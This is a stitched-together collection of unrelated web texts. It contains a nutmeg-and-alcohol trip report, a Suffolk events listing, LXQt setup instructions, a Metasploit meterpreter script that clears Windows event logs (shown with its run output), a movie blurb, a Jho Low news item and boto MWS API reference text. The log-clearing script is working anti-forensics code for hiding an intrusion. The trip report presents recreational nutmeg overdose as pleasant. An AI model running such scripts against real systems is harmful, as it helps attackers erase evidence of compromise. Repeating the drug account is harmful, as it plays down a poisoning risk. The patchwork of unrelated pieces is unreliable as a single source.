I was reading about nutmeg usage on the net, and said, 'hey, I have nutmeg' and so I ate about 20 grams or so of it. Probably a bit less. I didn't measure (stupid I know). Anyhoo, I ate it around 8 pm, and by 9 I was starting to feel the effects. Nothing fancy, just relaxed... real cool man. A friend called me up and offered me a ride to go to a bar, listen to some old tunes with his buddies.
So I walked a half hour walk, at about 9:45-10:00 to the University where he was gonna meet me. It was dark, and the way to the University is dark and through a trail in the forest. This is where I started to feel mild hallucinogenic effects. I had some decent trippin' music on my discman, Tool's 'Aenima' album, lots of texture. I heard alot more than I usually do. Alot of subtle reverb and echo effects made it through to me...guitar lines and stuff I haven't heard. The trees on the sides of the path were changing from black to grey then to a nice wintery white, which was strange but somehow comforting. I kept wondering if it was the nutmeg or the 'placebo' effect, but I'm sure now that it was the nutmeg's hallucinogenic effects kicking in. I was having a bit of trouble focusing on one spot while in motion. That's usually the sign for me, that I'm feelin' chemical effects.
So I made it to the university about 45 minutes early, at about 10:20 pm. I sat on the bleachers in the deserted track stadium.  I ended up sitting there looking at the streetlamps across the way, amazed at the way the halo effect around the lights could dilute and expand and contract and dissolve and I tried to control it (don't remember if I could). I switched CD's to Jimi Hendrix, and listened to 'Are You Experienced?' again and again. An excellent song, again I heard stuff that probably wasn't there.
So eventually I was in my friends car, off to a scuzzy bar. I was completely coherent, probably overly so. I more clearly than I usually do. I didn't tell them I was on nutmeg, just didn't feel right. We got to the bar, and his friends made me buy a round as soon as I sat down. I was then introduced. We drank and sang along to the music, and I was pretty bored. I drank 3 beer, 1 rye & ginger, and then the guys wanted me to drink 4 shots of tequila. blech. I wasn't drunk enough for that, but I got through two. The second one almost made me hurl.
By 1:30 am, we were on are way home. I was feeling more drunk than anything else, the alcohol had seen the nutmeg in my system and said 'this is an alcohol town' and so the nutmeg took off to hide somewhere, until I pissed the alcohol away.
9:00 am class the next day. Woke up at 7:30 hung over, but it only lasted about an hour. I biked to school, and sat down for 2 1/2 hours of blah blah blah. I was a bit wobbly, nothing noticeable though. I was talkative, but had trouble reading. I had a significantly lowered attention span, even for me. I had a pretty good morning, I felt just kind of stoned... spaced out like. It was nice.
Effects wore off by about 6pm that night, except for being a tiny bit spaced out.
The only negative effects I experienced were suicidal thoughts while on the bleachers, about 2 1/2 hours in. This isn't anything new for me, as I suffer from clinical depression. Luckily I know how to control those urges, and they weren't much stronger than the urges I feel on a regular basis. Other drugs I've taken are worse. Acid brought me closer to the edge, granted I first took it was when I was more chemically inexperienced. Alcohol can also cause more problems for me than nutmeg did. I suppose its a bad idea to use any mind-altering drugs when depressed, so be careful. Consult your doctor (haha :).
Overall, it was a truly pleasurable experience, and I'll probably do it again.
Experience Reports are the writings and opinions of the individual authors who submit them.
Some of the activities described are dangerous and/or illegal and none are recommended by Erowid.


Try these 13 fun and festive weekend events - from light trails to fancy dress runs
by Judy RimmerLooking for fun events this weekend? Choose from spectacular light trails and Christmas fairs, fancy dress runs through parks and a seaside sausage dog walk.
Bury St Edmunds Christmas Fair, Thursday, November 21 to Sunday, November 24
One of Suffolk's biggest festive events is back this weekend, and expected to attract about 120,000 people. There will be more than 300 stalls, offering a huge range of food and drink and arts and crafts, as well as funfairs, live music, Santa in his grotto and lots more.
The stalls and entertainment will be set out along streets and in venues around the town. There will be various road closures and a park and ride and park and walk service will be available.
READ MORE - Everything you need to know about Bury St Edmunds Christmas Fayre
Stowmarket Christmas lights switch-on, Friday, November 22, 3-8pm
Christmas officially arrives in town this weekend, with a range of festivities. Santa and his reindeer will be at the museum, the Christmas Tree Festival will be launched at the parish church, and there will be an ice rink and festive market in the town,
There will be Christmas crafts at the library, mulled wine and an album launch at the John Peel Centre. Christmas music will start from 3pm, with live performances from 5pm onwards, including Serena Grant, Tilly Moses, Pop Chorus Choir, East Coast Collective and the stars of the Regal Theatre's Little Red Riding Hood panto. The big switch-on will happen at 7.30pm. There will be free parking in all Mid Suffolk District Council car parks in Stowmarket from 3pm onwards.
Southwold Sausage Walk, Saturday, November 23, 10.30am
If you have a pet dachshund, Southwold is the place to be this weekend! The Southwold Sausage Walk has been rearranged this weekend, after the event was hit by high winds and torrential rain when it was originally scheduled in October.
Dogs and owners will meet in the Harbour Quay East Car Park at 10.30am. As well as the walk to the pier, there will be a range of stalls. Money raised will go to support the charity Dedicated to Dachshunds. For more details and to let organisers know you are going, visit the event page on Facebook.
Festive Long Melford, Saturday, November 23, 11-4.30pm
A special afternoon will include vintage steam engines, Punch and Judy shows and Santa in his grotto. There will also be performances by the Long Melford and Boxted Silver Bands, the Green Dragon Morris, Pop Chorus singers and more.
The Christmas tree light switch-on will be at 4.30pm on the Little Green.
MoRun 2019, Chantry Park, Ipswich, Saturday, November 23, MiniMo Run, 9.30am, 5k MoRun, 10am, 10k MoRun, 10.10am
A major run in aid of men's health will be in Ipswich this weekend, with runners encouraged to wear their best moustaches and fancy dress! MoRunning events raise money for the Movember Foundation, to help with a range of the biggest health issues faced by men. Online entries have closed, but you could still snap up a place on the day - if you want to, you're advised to arrive early, ideally between one and one-and-a-half hours before the start of your chosen event. Or go along and cheer the runners on. For more details, visit the event page.
I Can Run Ipswich Winter Runderland, Christchurch Park, Ipswich, Sunday, November 24, 10am-1pm
Another run is coming to Ipswich this weekend, and runners are welcome to don festive fancy dress to take part. Runners of all standards are welcome, including beginners. The event will be run around a 5k course through the park, but you can also take part in a 2.5k fun run. Runners will meet at the Westerfield Gate, For more details and to download an entry form, visit the website.
High Lodge Christmas Fayre, Hinton, Darsham, Saturday, November 23, 10-4pm
Local craft stalls, hot food, mulled wine and festive stalls will all be on offer at this festive event, with free entry and free parking. There will be a visit from not only Father Christmas, but also Mrs Christmas, with tickets available at the bar on the day. It will also be possible for children to take part in a photo shoot with a Winter Wonderland Express Train, including costume hire, which it is advisable to prebook.
The Dreamboys, Ipswich Regent, Saturday, November 23, 8pm
If you're looking for a fun girls night out for ages 18-plus only. this show could be the answer. The Dreamboys promise to be "hotter than ever", with a new show and UK tour. The two-hour show is ideal for hen nights and birthday parties. You can book via the Regent's website.
Helmingham illuminated trail, November 23-December 8
The opening night, and other Saturdays during the trail, is already sold out, but you can still book tickets for later in the run. Visitors will cross the hall's drawbridge and enjoy mulled wine in the courtyard, before following a trail featuring thousands of lights. You can also toast marshmallows and visit the stable shops. Visitors are advised to dress up warmly and wear suitable footwear. The event will not be open on Mondays and Tuesdays.
READ MORE - Helmingham Hall creates illuminated light trail for Christmas
Ickworth Light Nights, November 22-December 6
Follow a sound and lights based trail through the National Trust property's Italianate gardens and Gothic Victorian-style stumpery. Evergreen trees will be lit up to cast a completely new light on the famous gardens. Artisan food and drink will be served from the West Wing cafe. You are advised to book tickets online with allocated time slots, but you are free to spend as long as you like exploring the gardens.
READ MORE - Ickworth unveils an illuminated winter wonderland
Ipswich Physicsfest, Northgate Arts Centre, Sunday, November 24, 1-5pm
This event aims to show that science can be fun, with no previous physics knowledge required! There will be a planetarium and a chance to try out some hands-on experiments, as well as witnessing some whizz-bang demonstrations. There will also be talks on topics including the physics of science fiction, and whether we have already seen evidence of alien intelligence in space. There's free admission and free parking.
Art Forms in Nature, Ipswich Art Gallery, November 23-February 23, Tuesdays to Saturdays, 10am-5pm, Sundays 11am-5pm,
A touring exhibition of photography and art arrives in Ipswich this weekend, featuring 40 photogravures of natural forms by Karl Blossfeldt. The German photographer was celebrated by the Surrealists and early modernists for his pioneering close-up images of plants and flora. You can also see natural history illustrations from the Ipswich Museums collection, and works by local botanical illustrator Guy William Eves. Admission is free.
Christmas Snow Globe Workshop, Buttermarket Centre, Ipswich, Sunday, November 24, 11am-5pm
You can build your own snowglobe at this free workshop, and then take it home with you. Those taking part will need to register online or on the day. Suffolk Soul Singers will also perform live at the centre at 12 noon on Saturday. For more details, visit the Buttermarket Centre's website.


Final steps, before starting LXQt.
openbox-3.6.1 (runtime) - this may be replaced by another WM, see the Configuring instructions in lxqt-session-0.10.0.
ConsoleKit2-1.0.2 alone or with sddm-0.14.0 (this has been reported as the “recommended LXQt display manager”) or another Display Manager, e.g. lxdm-0.5.3, and D-Bus-1.10.10
User Notes: http://wiki.linuxfromscratch.org/blfs/wiki/post-install
If installed in /usr, you do not need final configuration. Jump to “Starting LXQt”, below.
If installed in /opt, in order for the system to find some files,
run the following commands, as the root
user:
ln -svfn $LXQT_PREFIX/share/lxqt /usr/share/lxqt && cp -v {$LXQT_PREFIX,/usr}/share/xsessions/lxqt.desktop && for i in $LXQT_PREFIX/share/applications/* do ln -svf $i /usr/share/applications/ done for i in $LXQT_PREFIX/share/desktop-directories/* do ln -svf $i /usr/share/desktop-directories/ done unset i ldconfig
You can start LXQt from runlevel
3, using xinit-1.3.4, or from runlevel 5, using a Display
Manager, such as sddm-0.14.0. The lxqt.desktop
file needs to be fixed, or will not
be listed in sddm-0.14.0 and lxdm-0.5.3:
sed -e '/TryExec/d' \ -i /usr/share/xsessions/lxqt.desktop
To start LXQt using xinit-1.3.4, run the following commands:
cat > ~/.xinitrc << "EOF"
ck-launch-session dbus-launch --exit-with-session startlxqt
EOF
startx
The X session starts on the first unused virtual terminal, normally vt7. You can switch to another vtn simultaneously pressing the keys Ctrl-Alt-Fn (n=1, 2, ...). To switch back to the X session, normally started at vt7, use Ctrl-Alt-F7. The vt where the command startx was executed will display many messages, including X starting messages, applications automatically started with the session, and eventually, some warning and error messages. You may prefer to redirect those messages to a log file, which not only will keep the initial vt uncluttered, but can also be used for debug purposes. This can be done starting X with:
startx &> ~/.x-session-errors
You may wish to drop consolekit and/or dbus-launch, e.g., just using startlxqt in ~/.xinitrc. However some capabilities such as mounting or umounting file systems from a file manager will not be possible, or the reboot option will be absent or inoperative, among other problems.
When shutting down or rebooting, the shutdown messages appear on the vt where X was running. If you wish to see those messages, simultaneously press keys Alt-F7 (assuming that X was running on vt7).
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log.clear
def clrevtlgs()
evtlogs = [
'security',
'system',
'application',
'directory service',
'dns server',
'file replication service'
]
print_status("Clearing Event Logs, this will leave and event 517")
begin
evtlogs.each do |evl|
print_status("\tClearing the #{evl} Event Log")
log = @client.sys.eventlog.open(evl)
log.clear
file_local_write(@dest,"Cleared the #{evl} Event Log")
end
print_status("All Event Logs have been cleared")
rescue ::Exception => e
print_status("Error clearing Event Log: #{e.class} #{e}")
end
end
After writing our script, we place it in /usr/share/metasploit-framework/scripts/meterpreter/
run clearlogs
Clearing Event Logs, this will leave an event 517
[*] Clearing the security Event Log
[*] Clearing the system Event Log
[*] Clearing the application Event Log
[*] Clearing the directory service Event Log
[*] Clearing the dns server Event Log
[*] Clearing the file replication service Event Log
All Clear!
# Clears Windows Event Logs
evtlogs = [
'security',
'system',
'application',
'directory service',
'dns server',
'file replication service'
]
print_line("Clearing Event Logs, this will leave an event 517")
evtlogs.each do |evl|
print_status("Clearing the #{evl} Event Log")
log = client.sys.eventlog.open(evl)
log.clear
end
print_line("All Clear!


American Ninja 4: The Annihilation
American Ninja 4: The Annihilation is a movie starring Michael Dudikoff, David Bradley, and James Booth. The two American Ninjas, Joe Armstrong and Sean Davidson, team up to do battle against a terrorist and his band of Ninjas.


Malaysian authorities investigate report saying Jho Low has a Cyprus passport
KUALA LUMPUR: Malaysian authorities are investigating claims that fugitive businessman Jho Low is in possession of a Cyprus passport, Inspector-General of Police Abdul Hamid Bador said on Monday (Nov 4).
A report from Greek-language newspaper Politis said that Low had obtained the passport in 2015, aided by citizenship and passport broker Henley & Partners.
However, Henley & Partners later denied this, saying that when Low approached the firm in 2015, it declined to represent him.
The Politis report, reproduced in English by Malaysian publication Sarawak Report on Sunday, alleged that Low arrived in Cyprus in September 2015 and obtained the passport two days later through the Cyprus Investment Plan.
The scheme requires an interested party to deposit €5 million (US$5.6 million) in a local bank for three years and allows them to buy a house.
The report also claimed Low had commissioned €5 million mansion on the island, due for completion and delivery within two months.
“We received information that he exploited them (Cyprus) because they need money to boost their economy,” he said during an event.
Abdul Hamid told members of the press that certain countries’ offer of asylum to Low is an “irresponsible action”.

“We have sought the countries’ cooperation to send (Jho Low) back, but he seems to get a kind of immunity and protection from the authorities in those countries,” the police chief said.
“We have tried various approaches, but they are giving us various excuses to the extent of saying that he had undergone facial plastic surgery."
READ: Fugitive Malaysian 1MDB financier Jho Low offered asylum: Spokesperson
READ: Jho Low’s fantastic Houdini disappearing act
The jet-setting businessman allegedly played a key role in the 1MDB scandal, which has also been linked to former Malaysian prime minister Najib Razak.
Low's whereabouts remain unknown.
He struck a deal recently with the US Justice Department to give up a private jet, real estate holdings and other assets totalling US$700 million. However, it did not include an admission of guilt and is not linked to criminal action against him.
READ: In record deal, US to recover US$1 billion from Malaysian fugitive Jho Low
Low’s spokesman last week said that the fugitive businessman had been offered asylum in the Middle East.
Malaysia's police chief added that authorities would continue in their pursuit to bring Low back to Malaysia.
“I’m still using the usual approach and willing to cooperate with the countries involved. Whatever their terms are, I’m willing to listen, but what’s important is that the criminal must be returned to us.”
He told media that no country should protect a criminal just because of previous political ties.
“This is a crime, (Low) robbed a country of its money and given asylum in another,” he said.


MWS Authorize/2013-01-01 API call; quota=10 restore=1.00 Reserves a specified amount against the payment method(s) stored in
the order reference.
Element|Iter|Map: AuthorizationAmount (ResponseElement or anything iterable/dict-like) Required: AmazonOrderReferenceId+AuthorizationReferenceId+AuthorizationAmount
MWS CancelFeedSubmissions/2009-01-01 API call; quota=10 restore=45.00 Cancels one or more feed submissions and returns a
count of the feed submissions that were canceled.
Lists: FeedSubmissionIdList.Id, FeedTypeList.Type
MWS CancelFulfillmentOrder/2010-10-01 API call; quota=30 restore=0.50 Requests that Amazon stop attempting to fulfill an existing
fulfillment order.
Required: SellerFulfillmentOrderId
MWS CancelOrderReference/2013-01-01 API call; quota=10 restore=1.00 Cancel an order reference; all authorizations associated with
this order reference are also closed.
Required: AmazonOrderReferenceId
MWS CancelReportRequests/2009-01-01 API call; quota=10 restore=45.00 Cancel one or more report requests, returning the count of the
canceled report requests and the report request information.
MWS Capture/2013-01-01 API call; quota=10 restore=1.00 Captures funds from an authorized payment instrument.
Element|Iter|Map: CaptureAmount (ResponseElement or anything iterable/dict-like) Required: AmazonAuthorizationId+CaptureReferenceId+CaptureAmount
MWS CloseAuthorization/2013-01-01 API call; quota=10 restore=1.00 Closes an authorization.
Required: AmazonAuthorizationId
MWS CloseOrderReference/2013-01-01 API call; quota=10 restore=1.00 Confirms that an order reference has been fulfilled (fully
or partially) and that you do not expect to create any new authorizations on this order reference.
Required: AmazonOrderReferenceId
MWS ConfirmOrderReference/2013-01-01 API call; quota=10 restore=1.00 Confirms that the order reference is free of constraints and all
required information has been set on the order reference.
Required: AmazonOrderReferenceId
MWS CreateFulfillmentOrder/2010-10-01 API call; quota=30 restore=0.50 Requests that Amazon ship items from the seller’s inventory
to a destination address.
Element|Iter|Map: DestinationAddress, Items (ResponseElement or anything iterable/dict-like) Required: SellerFulfillmentOrderId+DisplayableOrderId+ShippingSpeedCategory+DisplayableOrderDateTime+DestinationAddress+DisplayableOrderComment+Items
MWS CreateInboundShipment/2010-10-01 API call; quota=30 restore=0.50 Creates an inbound shipment.
Element|Iter|Map: InboundShipmentHeader, InboundShipmentItems (ResponseElement or anything iterable/dict-like) Required: ShipmentId+InboundShipmentHeader+InboundShipmentItems
MWS CreateInboundShipmentPlan/2010-10-01 API call; quota=30 restore=0.50 Returns the information required to create an inbound shipment.
Element|Iter|Map: ShipFromAddress, InboundShipmentPlanRequestItems (ResponseElement or anything iterable/dict-like) Required: ShipFromAddress+InboundShipmentPlanRequestItems
MWS CreateSubscription/2013-07-01 API call; quota=25 restore=0.50 Creates a new subscription for the specified notification type
and destination.
Element|Iter|Map: Subscription (ResponseElement or anything iterable/dict-like) Required: MarketplaceId+Subscription
MWS DeleteSubscription/2013-07-01 API call; quota=25 restore=0.50 Deletes the subscription for the specified notification type and
destination.
Element|Iter|Map: Destination (ResponseElement or anything iterable/dict-like) Required: MarketplaceId+NotificationType+Destination
MWS DeregisterDestination/2013-07-01 API call; quota=25 restore=0.50 Removes an existing destination from the list of registered
destinations.

Required: AmazonAuthorizationId
MWS GetCaptureDetails/2013-01-01 API call; quota=20 restore=2.00 Returns the status of a particular capture and the total amount
refunded on the capture.
Required: AmazonCaptureId
MWS GetServiceStatus/2014-03-01 API call; quota=2 restore=300.00 Returns the operational status of the Cart Information API section.
MWS GetCarts/2014-03-01 API call; quota=15 restore=12.00 Returns shopping carts based on the CartId values that you specify.
Lists: CartIdList.CartId Required: CartIdList
MWS GetCompetitivePricingForASIN/2011-10-01 API call; quota=20 restore=10.00 Returns the current competitive pricing of a product,
based on the ASINs and MarketplaceId that you specify.
Lists: ASINList.ASIN Required: MarketplaceId+ASINList
MWS GetCompetitivePricingForSKU/2011-10-01 API call; quota=20 restore=10.00 Returns the current competitive pricing of a product,
based on the SellerSKUs and MarketplaceId that you specify.
Lists: SellerSKUList.SellerSKU Required: MarketplaceId+SellerSKUList
MWS GetServiceStatus/2014-03-01 API call; quota=2 restore=300.00 Returns the operational status of the Customer Information API
section.
MWS GetCustomersForCustomerId/2014-03-01 API call; quota=15 restore=12.00 Returns a list of customer accounts based on search criteria that
you specify.
Lists: CustomerIdList.CustomerId Required: CustomerIdList
MWS GetFeedSubmissionCount/2009-01-01 API call; quota=10 restore=45.00 Returns a count of the feeds submitted in the previous 90 days.
Lists: FeedTypeList.Type, FeedProcessingStatusList.Status
MWS GetFeedSubmissionList/2009-01-01 API call; quota=10 restore=45.00 Returns a list of all feed submissions submitted in the
previous 90 days.
Lists: FeedSubmissionIdList.Id, FeedTypeList.Type, FeedProcessingStatusList.Status
MWS GetFeedSubmissionListByNextToken/2009-01-01 API call; quota=0 restore=0.00 Returns a list of feed submissions using the NextToken parameter.
Required: NextToken
MWS GetFeedSubmissionResult/2009-01-01 API call; quota=15 restore=60.00 Returns the feed processing report.
Required: FeedSubmissionId
MWS GetFulfillmentOrder/2010-10-01 API call; quota=30 restore=0.50 Returns a fulfillment order based on a specified
SellerFulfillmentOrderId.
Required: SellerFulfillmentOrderId
MWS GetFulfillmentPreview/2010-10-01 API call; quota=30 restore=0.50 Returns a list of fulfillment order previews based on items
and shipping speed categories that you specify.
Element|Iter|Map: Address, Items (ResponseElement or anything iterable/dict-like) Required: Address+Items
MWS GetServiceStatus/2010-10-01 API call; quota=2 restore=300.00 Returns the operational status of the Fulfillment Inbound
Shipment API section.
MWS GetServiceStatus/2010-10-01 API call; quota=2 restore=300.00 Returns the operational status of the Fulfillment Inventory
API section.
MWS GetLastUpdatedTimeForRecommendations/2013-04-01 API call; quota=5 restore=2.00 Checks whether there are active recommendations for each category
for the given marketplace, and if there are, returns the time when recommendations were last updated for each category.
Required: MarketplaceId
MWS GetLowestOfferListingsForASIN/2011-10-01 API call; quota=20 restore=5.00 Returns the lowest price offer listings for a specific
product by item condition and ASINs.
Lists: ASINList.ASIN Required: MarketplaceId+ASINList
MWS GetLowestOfferListingsForSKU/2011-10-01 API call; quota=20 restore=5.00 Returns the lowest price offer listings for a specific
product by item condition and SellerSKUs.
Lists: SellerSKUList.SellerSKU Required: MarketplaceId+SellerSKUList
MWS GetMatchingProduct/2011-10-01 API call; quota=20 restore=20.00 Returns a list of products and their attributes, based on
a list of ASIN values that you specify.
Lists: ASINList.ASIN Required: MarketplaceId+ASINList
MWS GetMatchingProductForId/2011-10-01 API call; quota=20 restore=20.00 Returns a list of products and their attributes, based on
a list of Product IDs that you specify.
Lists: IdList.Id Required: MarketplaceId+IdType+IdList
MWS GetMyPriceForASIN/2011-10-01 API call; quota=20 restore=10.00 Returns pricing information for your own offer listings, based on ASIN.
Lists: ASINList.ASIN Required: MarketplaceId+ASINList
MWS GetMyPriceForSKU/2011-10-01 API call; quota=20 restore=10.00 Returns pricing information for your own offer listings, based on SellerSKU.
Lists: SellerSKUList.SellerSKU Required: MarketplaceId+SellerSKUList
MWS GetServiceStatus/2013-01-01 API call; quota=2 restore=300.00 Returns the operational status of the Off-Amazon Payments API
section.
MWS GetOrder/2013-09-01 API call; quota=6 restore=60.00 Returns an order for each AmazonOrderId that you specify.
Lists: AmazonOrderId.Id Required: AmazonOrderId
MWS GetOrderReferenceDetails/2013-01-01 API call; quota=20 restore=2.00 Returns details about the Order Reference object and its current
state.
Required: AmazonOrderReferenceId
MWS GetServiceStatus/2013-09-01 API call; quota=2 restore=300.00 Returns the operational status of the Orders API section.
MWS GetServiceStatus/2010-10-01 API call; quota=2 restore=300.00 Returns the operational status of the Fulfillment Outbound
API section.
MWS GetPackageTrackingDetails/2010-10-01 API call; quota=30 restore=0.50 Returns delivery tracking information for a package in
an outbound shipment for a Multi-Channel Fulfillment order.
Required: PackageNumber
MWS GetProductCategoriesForASIN/2011-10-01 API call; quota=20 restore=20.00 Returns the product categories that an ASIN belongs to.
Required: MarketplaceId+ASIN
MWS GetProductCategoriesForSKU/2011-10-01 API call; quota=20 restore=20.00 Returns the product categories that a SellerSKU belongs to.
Required: MarketplaceId+SellerSKU
MWS GetServiceStatus/2011-10-01 API call; quota=2 restore=300.00 Returns the operational status of the Products API section.
MWS GetServiceStatus/2013-04-01 API call; quota=2 restore=300.00 Returns the operational status of the Recommendations API section.
MWS GetRefundDetails/2013-01-01 API call; quota=20 restore=2.00 Returns the status of a particular refund.
Required: AmazonRefundId
MWS GetReport/2009-01-01 API call; quota=15 restore=60.00 Returns the contents of a report.
Required: ReportId
MWS GetReportCount/2009-01-01 API call; quota=10 restore=45.00 Returns a count of the reports, created in the previous 90 days,
with a status of _DONE_ and that are available for download.
Lists: ReportTypeList.Type Booleans: Acknowledged
MWS GetReportList/2009-01-01 API call; quota=10 restore=60.00 Returns a list of reports that were created in the previous
90 days that match the query parameters.
Lists: ReportRequestIdList.Id, ReportTypeList.Type Booleans: Acknowledged
MWS GetReportListByNextToken/2009-01-01 API call; quota=0 restore=0.00 Returns a list of reports using the NextToken, which
was supplied by a previous request to either GetReportListByNextToken or GetReportList, where the value of HasNext was true in the previous call.
Required: NextToken
MWS GetReportRequestCount/2009-01-01 API call; quota=10 restore=45.00 Returns a count of report requests that have been submitted
to Amazon MWS for processing.
Lists: ReportTypeList.Type, ReportProcessingStatusList.Status
MWS GetReportRequestList/2009-01-01 API call; quota=10 restore=45.00 Returns a list of report requests that you can use to get the
ReportRequestId for a report.
Lists: ReportRequestIdList.Id, ReportTypeList.Type, ReportProcessingStatusList.Status
MWS GetReportRequestListByNextToken/2009-01-01 API call; quota=0 restore=0.00 Returns a list of report requests using the NextToken,
which was supplied by a previous request to either GetReportRequestListByNextToken or GetReportRequestList, where the value of HasNext was true in that previous request.
Required: NextToken
MWS GetReportScheduleCount/2009-01-01 API call; quota=10 restore=45.00 Returns a count of order report requests that are scheduled
to be submitted to Amazon MWS.
Lists: ReportTypeList.Type
MWS GetReportScheduleList/2009-01-01 API call; quota=10 restore=45.00 Returns a list of order report requests that are scheduled
to be submitted to Amazon MWS for processing.
Lists: ReportTypeList.Type
MWS GetReportScheduleListByNextToken/2009-01-01 API call; quota=0 restore=0.00 Returns a list of report requests using the NextToken,
which was supplied by a previous request to either GetReportScheduleListByNextToken or GetReportScheduleList, where the value of HasNext was true in that previous request.
Required: NextToken
Instruct the user on how to get service status.
MWS GetSubscription/2013-07-01 API call; quota=25 restore=0.50 Gets the subscription for the specified notification type and
destination.
Element|Iter|Map: Destination (ResponseElement or anything iterable/dict-like) Required: MarketplaceId+NotificationType+Destination
MWS GetServiceStatus/2013-07-01 API call; quota=2 restore=300.00 Returns the operational status of the Subscriptions API section.
Pass a call name as the first argument and a generator is returned for the initial response and any continuation call responses made using the NextToken.
Pass a call’s response as the initial argument and a generator is returned for the initial response and any continuation call responses made using the NextToken.
MWS ListAllFulfillmentOrders/2010-10-01 API call; quota=30 restore=0.50 Returns a list of fulfillment orders fulfilled after (or
at) a specified date or by fulfillment method.
MWS ListAllFulfillmentOrdersByNextToken/2010-10-01 API call; quota=30 restore=0.50 Returns the next page of inbound shipment items using the
NextToken parameter.
Required: NextToken
MWS ListCarts/2014-03-01 API call; quota=15 restore=12.00 Returns a list of shopping carts in your Webstore that were last
updated during the time range that you specify.
Required: DateRangeStart
MWS ListCartsByNextToken/2014-03-01 API call; quota=50 restore=3.00 Returns the next page of shopping carts using the NextToken
parameter.
Required: NextToken
MWS ListCustomers/2014-03-01 API call; quota=15 restore=12.00 Returns a list of customer accounts based on search criteria that
you specify.
MWS ListCustomersByNextToken/2014-03-01 API call; quota=50 restore=3.00 Returns the next page of customers using the NextToken parameter.
Required: NextToken
MWS ListInboundShipmentItems/2010-10-01 API call; quota=30 restore=0.50 Returns a list of items in a specified inbound shipment, or a
list of items that were updated within a specified time frame.
Required: ShipmentId OR LastUpdatedAfter+LastUpdatedBefore
MWS ListInboundShipmentItemsByNextToken/2010-10-01 API call; quota=30 restore=0.50 Returns the next page of inbound shipment items using the
NextToken parameter.
Required: NextToken
MWS ListInboundShipments/2010-10-01 API call; quota=30 restore=0.50 Returns a list of inbound shipments based on criteria that
you specify.
Lists: ShipmentIdList.Id, ShipmentStatusList.Status Some Required: ShipmentIdList, ShipmentStatusList
MWS ListInboundShipmentsByNextToken/2010-10-01 API call; quota=30 restore=0.50 Returns the next page of inbound shipments using the NextToken
parameter.
Required: NextToken
MWS ListInventorySupply/2010-10-01 API call; quota=30 restore=0.50 Returns information about the availability of a seller’s
inventory.
Lists: SellerSkus.member Required: SellerSkus OR QueryStartDateTime
MWS ListInventorySupplyByNextToken/2010-10-01 API call; quota=30 restore=0.50 Returns the next page of information about the availability
of a seller’s inventory using the NextToken parameter.
Required: NextToken
MWS ListMarketplaceParticipations/2011-07-01 API call; quota=15 restore=60.00 Returns a list of marketplaces that the seller submitting
the request can sell in, and a list of participations that include seller-specific information in that marketplace.
MWS ListMarketplaceParticipationsByNextToken/2011-07-01 API call; quota=15 restore=60.00 Returns the next page of marketplaces and participations
using the NextToken value that was returned by your previous request to either ListMarketplaceParticipations or ListMarketplaceParticipationsByNextToken.
Required: NextToken
MWS ListMatchingProducts/2011-10-01 API call; quota=20 restore=20.00 Returns a list of products and their attributes, ordered
by relevancy, based on a search query that you specify.
Required: MarketplaceId+Query
MWS ListOrderItems/2013-09-01 API call; quota=30 restore=2.00 Returns order item information for an AmazonOrderId that
you specify.
Required: AmazonOrderId
MWS ListOrderItemsByNextToken/2013-09-01 API call; quota=30 restore=2.00 Returns the next page of order items using the NextToken
value that was returned by your previous request to either ListOrderItems or ListOrderItemsByNextToken.
Required: NextToken
MWS ListOrders/2013-09-01 API call; quota=6 restore=60.00 Returns a list of orders created or updated during a time
frame that you specify.
Lists: MarketplaceId.Id, OrderStatus.Status, FulfillmentChannel.Channel, PaymentMethod. Element|Iter|Map: OrderTotal, ShippingAddress, PaymentExecutionDetail (ResponseElement or anything iterable/dict-like) Either: CreatedAfter OR LastUpdatedBefore LastUpdatedBefore requires: LastUpdatedAfter Either: LastUpdatedAfter OR BuyerEmail OR SellerOrderId CreatedBefore requires: CreatedAfter Either: CreatedAfter OR LastUpdatedAfter Required: MarketplaceId Required: CreatedAfter OR LastUpdatedAfter
MWS ListOrdersByNextToken/2013-09-01 API call; quota=6 restore=60.00 Returns the next page of orders using the NextToken value
that was returned by your previous request to either ListOrders or ListOrdersByNextToken.
Required: NextToken
MWS ListRecommendations/2013-04-01 API call; quota=5 restore=2.00 Returns your active recommendations for a specific category or for
all categories for a specific marketplace.
Lists: CategoryQueryList.CategoryQuery Required: MarketplaceId
MWS ListRecommendationsByNextToken/2013-04-01 API call; quota=5 restore=2.00 Returns the next page of recommendations using the NextToken
parameter.
Required: NextToken
MWS ListRegisteredDestinations/2013-07-01 API call; quota=25 restore=0.50 Lists all current destinations that you have registered.
Required: MarketplaceId
MWS ListSubscriptions/2013-07-01 API call; quota=25 restore=0.50 Returns a list of all your current subscriptions.
Required: MarketplaceId
MWS ManageReportSchedule/2009-01-01 API call; quota=10 restore=45.00 Creates, updates, or deletes a report request schedule for
a specified report type.
Required: ReportType+Schedule
Return the MWS API method referred to in the argument. The named method can be in CamelCase or underlined_lower_case. This is the complement to MWSConnection.any_call.action
MWS Refund/2013-01-01 API call; quota=10 restore=1.00 Refunds a previously captured amount.
Element|Iter|Map: RefundAmount (ResponseElement or anything iterable/dict-like) Required: AmazonCaptureId+RefundReferenceId+RefundAmount
MWS RegisterDestination/2013-07-01 API call; quota=25 restore=0.50 Specifies a new destination where you want to receive notifications.
Element|Iter|Map: Destination (ResponseElement or anything iterable/dict-like) Required: MarketplaceId+Destination
MWS RequestReport/2009-01-01 API call; quota=15 restore=60.00 Creates a report request and submits the request to Amazon MWS.
Booleans: ReportOptions=ShowSalesChannel Lists: MarketplaceIdList.Id Required: ReportType
MWS SendTestNotificationToDestination/2013-07-01 API call; quota=25 restore=0.50 Sends a test notification to an existing destination.
Element|Iter|Map: Destination (ResponseElement or anything iterable/dict-like) Required: MarketplaceId+Destination
MWS SetOrderReferenceDetails/2013-01-01 API call; quota=10 restore=1.00 Sets order reference details such as the order total and a
description for the order.
Element|Iter|Map: OrderReferenceAttributes (ResponseElement or anything iterable/dict-like) Required: AmazonOrderReferenceId+OrderReferenceAttributes
MWS SubmitFeed/2009-01-01 API call; quota=15 restore=120.00 Uploads a feed for processing by Amazon MWS.
Lists: MarketplaceIdList.Id Required HTTP Body: FeedContent Booleans: PurgeAndReplace Required: FeedType
MWS UpdateInboundShipment/2010-10-01 API call; quota=30 restore=0.50 Updates an existing inbound shipment. Amazon documentation
is ambiguous as to whether the InboundShipmentHeader and InboundShipmentItems arguments are required.
Element|Iter|Map: InboundShipmentHeader, InboundShipmentItems (ResponseElement or anything iterable/dict-like) Required: ShipmentId
MWS UpdateReportAcknowledgements/2009-01-01 API call; quota=10 restore=45.00 Updates the acknowledged status of one or more reports.
